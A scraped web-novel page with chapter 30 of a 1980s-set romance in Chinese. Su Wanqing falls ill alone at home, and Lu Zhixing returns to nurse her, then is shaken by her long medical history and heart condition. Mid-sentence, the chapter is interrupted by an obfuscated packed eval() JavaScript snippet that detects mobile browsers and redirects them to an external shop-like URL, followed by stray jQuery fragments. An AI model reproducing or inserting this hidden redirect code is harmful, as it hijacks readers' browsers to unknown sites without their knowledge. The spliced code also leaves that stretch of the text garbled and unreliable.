万书库 > 都市小说 > 早逝炮灰错嫁反派[八零] > 30. 第 30 章
    前一天晚上,熬夜赶工的苏晚晴就总觉得身上没什么力气,她单纯以为自己没有休息好,就暂时放下了手里的活,决定早睡一天。


    可谁知第二天,生物钟一向准时的苏晚晴却根本没有起来。


    等她一觉睡到太阳光透过窗帘的缝隙照在眼皮上,苏晚晴才堪堪恢复了意识。


    刚一清醒过来,她甚至没能睁开眼睛,一阵剧烈的疼痛在她头皮炸起,几乎令苏晚晴睁不开眼。


    每次呼吸,滚烫的气体都快要灼伤鼻腔里的毛细血管,苏晚晴连翻身的力气都没有,她像一条死鱼般瘫在床上,如同又回到了刚穿来书里的前几天。


    那时的苏晚晴简直称得上是出气多进气少,每次调动肌肉呼吸都要费好大的劲,要不是她求生意志强烈,基本上就可以再次告别这个世界了。


    苏晚晴头重脚轻,艰难爬起床上了个厕所,就又一头栽回了床上。


    现在想想,其实房子小一点也挺好的,起码在生病的时候,她还能有劲去厨房弄口吃的。


    如今倒好,房子大是大了,尽管每个房间都单独配置了卫浴,可厨房却只有楼下的一个,偏偏张嫂今天昨晚说因为有事要请假几天,这偌大的陆宅,真的只剩下了她一个人。


    最近正值换季,温度忽高忽低,熬夜或许只是她病倒的诱因之一,时不时一冷一热的温度恐怕也降低了她的免疫力。


    苏晚晴转动混沌的思绪,努力思考,之前为了给陆知行上药,她还亲自去找了药箱,用过后应该放回了原位。


    当时她在药箱里匆匆一瞥,看到有常备的感冒药。


    要是现在她能下楼......就能去找药箱了......


    思绪逐渐缓慢、停滞,最后,浑身酸痛的苏晚晴再次坠入了黑暗。


    ++++


    再一次恢复意识的时候,苏晚晴的感觉好了很多。


    她正想翻个身活动一下维持了一个姿势太久的身体,却后知后觉感到额头一凉——


    有人在帮她物理降温。


    看来是因为在昏睡中的苏晚晴没法使用药物,这位好心人又不能就这样放着她不管,所以才勉为其难想出这么一个笨办法。


    不过笨虽笨,好歹也是有些效果。


    苏晚晴费力睁开眼,正对上陆知行担忧的视线。


    他看起来风尘仆仆,只来得及脱了个外衣,就马不停蹄照顾起了苏晚晴。


    从上到下打量了一番大半个月未见瘦了一点的陆知行,苏晚晴嗓音沙哑,半天挤出一句:


    “外裤......不能上床。”


    好久没见,病中的苏晚晴也是如此煞风景,陆知行很想假装没有听到这句,可苏晚晴躺在床上眼巴巴望着他,仿佛他做了什么天大的错事。


    “等你病好,我会洗,”迫不得已,陆知行退让了,他紧接着问道,“感觉怎么样?有没有胃口?楼下有温水和粥,我端上来。”


    原来陆知行能说这么长的一句话啊,苏晚晴想,已经不知睡了多久的她确实有些饿,苏晚晴点点头,顺便提醒陆知行:


    “还有医药箱。”


    她之前应该放回原位了,希望陆知行找得到。


    “看过,药都过期了,”陆知行回答。


    听起来陆知行已经回来了好久,并且在她昏睡的时候做了好多事。


    “你先喝粥,我出门买,”没指望等到病得连话都说不出的苏晚晴想办法,陆知行三言两语安排好后续,不久后就从楼下将晾得温度刚刚好的热水和粥端给苏晚晴。


    将苏晚晴从床上扶起,看着她还有自主进食的力气,陆知行站起身,打算出门买药。


    突然,他像是想起了什么:“你有药物过敏史吗?”


    ......药物过敏史?


    苏晚晴一愣,脑子里空空如也。


    她在现世不常生病,就算偶尔有个感冒咳嗽,吃些市面上常见的感冒药就能治好,可这具身体到底不是她,原主对哪种药物过敏,这样的小细节在回忆里毫无踪影。


    她自从来到这具身体里,本身能接收到的记忆就断断续续,只有一些在原主人生轨迹上称得上记忆深刻的时刻,像是哪天病了又吃了什么药,这种发生过太多次的日常,已经在庞杂的回忆中不值一提。


    仔细回想了几秒,苏晚晴茫然摇头,但她转念一想,原主过去住过那么多次医院,正规医院在用药前都要做皮试来测定过敏源,她指了指缝纫机侧边的桌子道:


    “那里有之前我的大部分病例,不知道有没有参考价值,你可以看看。”


    她是彻底放弃自己下床找了,就单单是坐起来喝粥的这一会工夫,苏晚晴就头重脚轻的厉害,要是在下床折腾一下,她真怕自己一头栽倒。


    按照苏晚晴的指挥,陆知行拉开抽屉,猛地愣住了。


    一个身体健康的正常人,是不会有这么厚的就医记录的。


    如同兜头泼下一盆冷水,陆知行僵在原地,他看着那打厚厚的病例报告,两只手都动弹不得。


    “怎么了?抽屉里没有吗?”看陆知行傻在那里,苏晚晴疑惑,如果她的记忆没错,原主木盒里的所有病例她应该都放在了那里。


    难道这场发烧给她烧傻了?其实她之前换过别的地方?


    并不算清醒的苏晚晴已经开始怀疑人生,陆知行才像是惊醒般回应:“有。”


    短短一个字,他的嗓音竟然比苏晚晴这个病人还要干哑,苏晚晴吓了一跳,连忙追问:


    “你也嗓子不舒服?会不会是我传染的啊,要不然你顺便买些预防感冒药,回来跟我一起喝......”


    话音未落,一直背对她的陆知行手忙脚乱从抽屉中拿出所有病例,步履匆匆走出了房间。


    苏晚晴:“......?”


    这个人搞什么?刚刚那架势,就好像抽屉里有豺狼虎豹在追他一样,只是一些病例而已,到底有什么好怕的?


    这会热粥下肚,浑身暖洋洋的苏晚晴总算清醒了一点,回想起陆知行刚才的状态,她突然有了不好的猜想。


    原书中虽然没有花费太多笔墨描写,但陆知行的母亲其实在陆家搬离海城前就一直身体不好,为了给他母亲治病,陆家恐怕也有很多积攒起来的病例。


    坏了,刚刚不该让他自己去找病例的!


    苏晚晴以己度人,要是她处在陆知行境况,冷不丁看到这么多病例,也会被勾起不好的回忆吧。


    唉,也是她病傻了,否则平时绝对不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541191|202320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会出现这么大的纰漏,可这种事陆知行也没给她明说过,待会要是贸贸然安慰对方,岂不是显得更加可疑。


    苏晚晴坐在床上天人交战,思来想去,决定待会还是看陆知行的反应见机行事。


    这边楼上以为自己不小心踩到人家雷点的苏晚晴战战兢兢,而另一边楼下,大致翻阅了一遍病例的陆知行更是胆战心惊。


    这叠病例时间跨度之久,从苏晚晴刚出生一直延续到去年十月,中间的看病经历断断续续,好的时候,有大概两三年都没有记录,坏的时候,甚至在同一年里会出现两次入院记录。


    而且最上面的一些新病例,基本都集中在这两年内。


    直到去年十月的最近一次,苏晚晴的身体情况已经严重到需要入院治疗。


    可是,偏偏在这样一份报告后,却没有出现任何办理了入院的证明。


    陆知行稍一细想,就大概明白了其中的缘由——


    他在婚前了解过苏晚晴的家庭情况,知道她如今也是孤身一人生活,而住在医院里起码得有一个人来陪床,并没有任何亲属的苏晚晴,自然选择了回到家里。


    从十月到十二月,整整两个月,那样漫长的寒冬,她到底是如何一个人熬过来的呢?


    陆知行不敢细想,光是这些病例就几乎让他无法呼吸,再想到苏晚晴独自在乡下生活的日子,他会比当事人还要难过。


    但万幸,苏晚晴对市面上大部分的药物都不过敏。


    不敢耽误时间,陆知行穿着衣服急忙出了门,自从知道苏晚晴过去无数次孤单的就医经历,他就无法忍受留苏晚晴一个人在屋里等待太久。


    能够开药的医院药房需要开车前往,陆知行往返一路上都没有遇到堵车,已经不知比平常的速度快了多少,可就这样,他都在路上猛踩油门,恨不得立刻回到家中。


    按照病例上的描述,苏晚晴是有一种先天性的心脏病,这种基础病通常也会影响到免疫系统,所以在换季或者寒冬时,她就会比寻常人更易染上流行病。


    而流行病如果不及时治疗,同样又会反过来影响基础病,这些小病大病之间互相关联,稍一不注意,很容易就会发展到很严重的地步。


    要是他没在今天及时回家,一个人病倒在家中的苏晚晴长时间没人照顾,后果简直不堪设想。


    从小到大,陆知行很少会产生如此恐慌的心情,随着恐慌一同而来的,还有某种无法遏制的焦虑。


    是的,他在焦虑。


    这种基础病犹如一块定时炸弹,没有人能预料到会在哪个时间爆发,也没有人能提前猜到什么事情会成为它的诱因。


    就如当年他的母亲一般,尽管在海城时多亏了常年疗养,她的身体情况也一直相当稳定,可逃往港城的路上舟车劳顿,平息多年的疾病还是在短短几天内就带走了她的生命。


    陆知行不想再看到那样的场景,也不想重蹈父亲的覆辙。


    可海城目前就他所知并没有能够有效治疗心脏方面的医疗手段,而带着苏晚晴去港城,更是一条行不通的路。


    如果可以,他更希望在有急切需求的时候,能在周边的医院里找到治疗方法。


    陆知行一边担忧着,一边寻找未雨绸缪的办法。